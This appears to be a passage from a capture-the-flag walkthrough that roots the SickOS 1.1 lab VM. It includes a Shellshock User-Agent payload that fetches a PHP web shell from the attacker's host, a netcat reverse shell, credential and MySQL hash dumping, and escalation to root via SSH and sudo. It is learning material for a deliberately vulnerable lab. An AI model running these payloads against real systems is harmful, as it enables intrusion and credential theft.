Nmap scan report for 192.168.1.122
Host is up (0.00029s latency).
PORT     STATE         SERVICE      VERSION
53/udp   open|filtered domain
67/udp   open|filtered dhcps
68/udp   open|filtered dhcpc
88/udp   open|filtered kerberos-sec
137/udp  open|filtered netbios-ns
138/udp  open|filtered netbios-dgm
139/udp  open|filtered netbios-ssn
161/udp  open|filtered snmp
| snmp-hh3c-logins: 
|_  baseoid: 1.3.6.1.4.1.25506.2.12.1.1.1
162/udp  open|filtered snmptrap
389/udp  open|filtered ldap
520/udp  open|filtered route
2049/udp open|filtered nfs
MAC Address: 00:0C:29:16:91:9D (VMware)
Too many fingerprints match this host to give specific OS details
Network Distance: 1 hop

TRACEROUTE
HOP RTT     ADDRESS
1   0.29 ms 192.168.1.122

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 125.01 seconds

################################### Running Intrusive Scans ########################
+ -- --=[Port 21 closed... skipping.
+ -- --=[Port 22 opened... running tests...

Starting Nmap 7.01 ( https://nmap.org ) at 2016-01-02 12:31 EST
Nmap scan report for 192.168.1.122
Host is up (0.00028s latency).
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   1024 09:3d:29:a0:da:48:14:c1:65:14:1e:6a:6c:37:04:09 (DSA)
|   2048 84:63:e9:a8:8e:99:33:48:db:f6:d5:81:ab:f2:08:ec (RSA)
|_  256 51:f6:eb:09:f6:b3:e6:91:ae:36:37:0c:c8:ee:34:27 (ECDSA)
MAC Address: 00:0C:29:16:91:9D (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 0.87 seconds

PLAN OF ATTACK

Now that we’ve enumerated all open ports and services, we can see that our only options for attack vectors are: 1) Exploiting or brute forcing SSH
2) Attempting to connect to the Squid open proxy server to pivot off of Since our brute force of common usernames and passwords already failed and there doesn’t seem to be any known exploits for this version of SSH, our only option seems to be to leverage the proxy and see what else we can find. To do this, I used Burpsuite proxy and added upstream proxies back to the SickOS IP address: After Burpsuite is configured, we can now browse to the IP address via a web browser connected to Burpsuite in order to connect to local ports that may be open locally on the box. As we can see below, the root of the web server can be reached locally and contains the following code:

GET http://192.168.1.122/ HTTP/1.1
Host: 192.168.1.122
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Cookie: PHPSESSID=3pqr9365an8p7rktmep2hjauo2

HTTP/1.0 200 OK
Date: Sat, 02 Jan 2016 20:00:14 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.21
Vary: Accept-Encoding
Content-Length: 21
Content-Type: text/html
X-Cache: MISS from localhost
X-Cache-Lookup: MISS from localhost:3128
Via: 1.0 localhost (squid/3.1.19)
Connection: close

< h1 >
BLEHHH!!!
< /h1 >

Since there isn’t any linked content in the root web page, we’ll need to manually brute force files and directories in order to discover any hidden content. This can be done using Burpsuite or DirBuster or any other web content discovery methods. After some time, you should be able to discover a robots.txt page. This reveals some other web content that may be helpful to us.

ROBOTS.TXT

GET http://192.168.1.122/robots.txt HTTP/1.1
Host: 192.168.1.122
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.122/shell.php?act=sql&sql_login=root&[email protected]&sql_server=localhost&sql_port=3306&sql_db=mysql&sql_tbl=user
Cookie: PHPSESSID=3pqr9365an8p7rktmep2hjauo2
Connection: close

HTTP/1.0 200 OK
Date: Sat, 02 Jan 2016 19:58:29 GMT
Server: Apache/2.2.22 (Ubuntu)
Last-Modified: Sat, 05 Dec 2015 00:35:02 GMT
ETag: "40ca5-2d-5261bcb6b1d0f"
Accept-Ranges: bytes
Vary: Accept-Encoding
Content-Length: 45
Content-Type: text/plain
X-Cache: MISS from localhost
X-Cache-Lookup: MISS from localhost:3128
Via: 1.0 localhost (squid/3.1.19)
Connection: close

User-agent: *
Disallow: /
Dissalow: /wolfcms

After discovering the wolfcms site, I was unable to find any exploitable web vulnerabilities 🙁 However, in the process of my web content brute force, I did notice a /cgi-bin/ directory and decided to continue my brute force to enumerate any scripts here.

SHELLSHOCK EXPLOIT

After discovering /cgi-bin/status, I attempted to exploit Shellshock via Burpsuite using a method I previous blogged about here since Shellshock affected many cgi and perl programs.

GET http://192.168.1.122/cgi-bin/status HTTP/1.1
Host: 192.168.1.122
User-Agent: () { :;}; /bin/bash -c "wget http://192.168.1.149/c100.txt -O /var/www/shell.php"
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

GET http://192.168.1.122/shell.php HTTP/1.1
Host: 192.168.1.122
User-Agent: test
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close

REMOTE CONFIRMATION

==> /var/log/apache2/crowdshield_access.log <==
192.168.1.1 - - [02/Jan/2016:12:13:11 -0500] "GET /.testing/shellshock.txt?vuln=4 HTTP/1.1" 200 419 "-" "Wget/1.13.4 (linux-gnu)"
192.168.1.1 - - [02/Jan/2016:12:13:11 -0500] "GET /.testing/shellshock.txt?vuln=5 HTTP/1.1" 200 363 "-" "curl/7.22.0 (i686-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
192.168.1.1 - - [02/Jan/2016:12:13:12 -0500] "GET /.testing/shellshock.txt?sleep=1 HTTP/1.1" 200 363 "-" "curl/7.22.0 (i686-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
192.168.1.1 - - [02/Jan/2016:12:13:15 -0500] "GET /.testing/shellshock.txt?sleep=3 HTTP/1.1" 200 363 "-" "curl/7.22.0 (i686-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
192.168.1.1 - - [02/Jan/2016:12:13:16 -0500] "GET /.testing/shellshock.txt?vuln=16?user=www-data HTTP/1.1" 200 363 "-" "curl/7.22.0 (i686-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
192.168.1.1 - - [02/Jan/2016:12:13:17 -0500] "GET /.testing/shellshock.txt?vuln=17?user=www-data HTTP/1.1" 200 419 "-" "Wget/1.13.4 (linux-gnu)"
192.168.1.1 - - [02/Jan/2016:12:13:18 -0500] "GET /.testing/shellshock.txt?vuln=18?pwd=/usr/lib/cgi-bin HTTP/1.1" 200 363 "-" "curl/7.22.0 (i686-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
192.168.1.1 - - [02/Jan/2016:12:13:18 -0500] "GET /.testing/shellshock.txt?sleep=6 HTTP/1.1" 200 363 "-" "curl/7.22.0 (i686-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
192.168.1.1 - - [02/Jan/2016:12:13:18 -0500] "GET /.testing/shellshock.txt?vuln=19?pwd=/usr/lib/cgi-bin HTTP/1.1" 200 419 "-" "Wget/1.13.4 (linux-gnu)"
192.168.1.1 - - [02/Jan/2016:12:13:19 -0500] "GET /.testing/shellshock.txt?vuln=20?shadow= HTTP/1.1" 200 363 "-" "curl/7.22.0 (i686-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
192.168.1.1 - - [02/Jan/2016:12:13:19 -0500] "GET /.testing/shellshock.txt?vuln=21?shadow= HTTP/1.1" 200 419 "-" "Wget/1.13.4 (linux-gnu)"
192.168.1.1 - - [02/Jan/2016:12:13:20 -0500] "GET /.testing/shellshock.txt?sleep=9 HTTP/1.1" 200 363 "-" "curl/7.22.0 (i686-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
192.168.1.1 - - [02/Jan/2016:12:13:20 -0500] "GET /.testing/shellshock.txt?vuln=22?uname=Linux HTTP/1.1" 200 363 "-" "curl/7.22.0 (i686-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
192.168.1.1 - - [02/Jan/2016:12:13:21 -0500] "GET /.testing/shellshock.txt?vuln=23?uname=Linux HTTP/1.1" 200 419 "-" "Wget/1.13.4 (linux-gnu)"
192.168.1.1 - - [02/Jan/2016:12:13:22 -0500] "GET /.testing/shellshock.txt?vuln=24?shell= HTTP/1.1" 200 363 "-" "curl/7.22.0 (i686-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
192.168.1.1 - - [02/Jan/2016:12:13:22 -0500] "GET /.testing/shellshock.txt?vuln=25?shell= HTTP/1.1" 200 419 "-" "Wget/1.13.4 (linux-gnu)"
192.168.1.1 - - [02/Jan/2016:12:13:22 -0500] "GET /.testing/shellshock.txt?vuln=26?shell= HTTP/1.1" 200 363 "-" "curl/7.22.0 (i686-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"
192.168.1.1 - - [02/Jan/2016:12:13:22 -0500] "GET /.testing/shellshock.txt?vuln=27?shell= HTTP/1.1" 200 419 "-" "Wget/1.13.4 (linux-gnu)"

PRIVILEGE ESCALATION

After pulling down the backdoor script from my remote server, I now had a full remote web shell with command execution and SQL command execution. From here, I went through the normal routes of privilege escalation on Linux by gathering information from the target and re-assessing my attack vectors.

$ uname -a 
Linux SickOs 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux


$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
landscape:x:104:109::/var/lib/landscape:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
sickos:x:1000:1000:sickos,,,:/home/sickos:/bin/bash
mysql:x:106:114:MySQL Server,,,:/nonexistent:/bin/false

NETCAT REVERSE SHELL

Even though I had a full remote web shell, I decided to spawn a netcat reverse shell for easier command line access.

$ nc -lvvp 31337 # ON LOCAL HOST
$ nc 192.168.1.149 31337 -e /bin/bash # ON REMOTE HOST

ls
CONTRIBUTING.md
README.md
composer.json
config.php
docs
favicon.ico
index.php
public
robots.txt
wolf

cat config.php

// Database information:
// for SQLite, use sqlite:/tmp/wolf.db (SQLite 3)
// The path can only be absolute path or :memory:
// For more info look at: www.php.net/pdo

// Database settings:
define('DB_DSN', 'mysql:dbname=wolf;host=localhost;port=3306');
define('DB_USER', 'root');
define('DB_PASS', '[email protected]');
define('TABLE_PREFIX', '');

MYSQL DATA DUMP

Now that I had the username/password for MySQL, I leveraged my web shell in order to gain access to the DB and dump the following creds.

use wolf; SELECT * FROM user;

id	name	email	username	password	salt	language	last_login	last_failure	failure_count	created_on	updated_on	created_by_id	updated_by_id	Action
	1	Administrator	[email protected]	admin	3a1be46a798dce0d880f633ce195b676839a0ce344c917a7ea1270816dcb649ce1e2b811b56fe93c9d3c4e679151180129ee9483ea39bff4d4578c4be6c77e1f	6806b774443f2c34231eceddf156a42d3c26a2b5219ee9d55f5e3c9aea534167	en	2015-12-05 07:47:16	NULL	0	2015-12-05 06:25:06	2015-12-05 07:47:16	1	NULL	Delete Edit 


use mysql; SELECT * FROM user;

	Host	User	Password	Select_priv	Insert_priv	Update_priv	Delete_priv	Create_priv	Drop_priv	Reload_priv	Shutdown_priv	Process_priv	File_priv	Grant_priv	References_priv	Index_priv	Alter_priv	Show_db_priv	Super_priv	Create_tmp_table_priv	Lock_tables_priv	Execute_priv	Repl_slave_priv	Repl_client_priv	Create_view_priv	Show_view_priv	Create_routine_priv	Alter_routine_priv	Create_user_priv	Event_priv	Trigger_priv	Create_tablespace_priv	ssl_type	ssl_cipher	x509_issuer	x509_subject	max_questions	max_updates	max_connections	max_user_connections	plugin	authentication_string	Action
	localhost	root	*A7A20B93EC076311A63BF86B5C705B25C054DD77	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	NULL	NULL	NULL	NULL	0	0	0	0	NULL	NULL	Delete Edit 
	sickos	root	*A7A20B93EC076311A63BF86B5C705B25C054DD77	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	NULL	NULL	NULL	NULL	0	0	0	0	NULL	NULL	Delete Edit 
	127.0.0.1	root	*A7A20B93EC076311A63BF86B5C705B25C054DD77	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	NULL	NULL	NULL	NULL	0	0	0	0	NULL	NULL	Delete Edit 
	::1	root	*A7A20B93EC076311A63BF86B5C705B25C054DD77	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	NULL	NULL	NULL	NULL	0	0	0	0	NULL	NULL	Delete Edit 
	localhost	debian-sys-maint	*CB98094782C386F2459D65D97B17D1DE15D1654B	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	Y	N	NULL	NULL	NULL	NULL	0	0	0	0	NULL	NULL	Delete Edit 

 

GAINING REMOTE SSH SHELL

Since I was able to enumerate all valid users (sickos) and some passwords ([email protected]), I decided to use this info to see if I could login via SSH and sure enough, this worked!

[email protected]:~# ssh [email protected]
[email protected]'s password: 
Welcome to Ubuntu 12.04.4 LTS (GNU/Linux 3.11.0-15-generic i686)

 * Documentation:  https://help.ubuntu.com/

  System information as of Sun Jan  3 01:20:33 IST 2016

  System load:  0.0               Processes:           117
  Usage of /:   4.7% of 28.42GB   Users logged in:     0
  Memory usage: 11%               IP address for eth0: 192.168.1.122
  Swap usage:   0%

  Graph this data and manage this system at:
    https://landscape.canonical.com/

128 packages can be updated.
96 updates are security updates.

New release '14.04.3 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Tue Sep 22 08:32:44 2015
[email protected]:~$ 

[email protected]:~$ cd /home
[email protected]:/home$ ls
sickos
[email protected]:/home$ cd sickos/
[email protected]:~$ ls
[email protected]ckOs:~$ ls -lah
total 32K
drwxr-xr-x 3 sickos sickos 4.0K Jan  3 01:21 .
drwxr-xr-x 3 root   root   4.0K Sep 22 08:19 ..
-rw------- 1 sickos sickos   13 Sep 22 09:20 .bash_history
-rw-r--r-- 1 sickos sickos  220 Sep 22 08:19 .bash_logout
-rw-r--r-- 1 sickos sickos 3.5K Sep 22 08:19 .bashrc
drwx------ 2 sickos sickos 4.0K Sep 22 08:32 .cache
-rw------- 1 sickos sickos   28 Jan  3 01:21 .mysql_history
-rw-r--r-- 1 sickos sickos  675 Sep 22 08:19 .profile

[email protected]:~$ cat .bash_history | less
 sudo su

GAME OVER

Now that I had a valid shell, one of the first things I tried was sudoing to “root”. Luckily it worked and from here, I now had full control of the server and could view the flag!

[email protected]:~$ sudo su
[sudo] password for sickos: 

[email protected]:/home/sickos# whoami
root

[email protected]:/home/sickos# cd /root

[email protected]:~# ls
a0216ea4d51874464078c618298b1367.txt

[email protected]:~# cat a0216ea4d51874464078c618298b1367.txt 
If you are viewing this!!

ROOT!

You have Succesfully completed SickOS1.1.
Thanks for Trying


[email protected]:~# 

[email protected]